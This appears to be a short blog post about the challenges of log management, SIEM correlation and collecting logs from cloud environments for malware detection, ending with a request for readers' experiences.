While companies implemented log management with some basic log search functionality, detecting malware in real environments or collecting logs from the cloud is still difficult. Environments grow overtime and understanding the traffic within the infrastructure is key but a somewhat tedious and time consuming task. Log engines (e.g. IDH Framework, Splunk , Log Correlation Engine (LCE from TENABLE), ELK) help to collect and analyze log information. SIEM systems help to match and correlate different events. Script languages are needed to normalize data where the log engines reach their limits. Cloud providers must support the companies to log the relevant information or provide connectors for log engines. Furthermore, there is also a “Splunk in the cloud” solution.

Please comment, if I missed challenges or difficulties. I would also be interested in your experiences regarding log management.

Keywords: SIEM, log management, logging, normalization, APT, cloud, SANS

References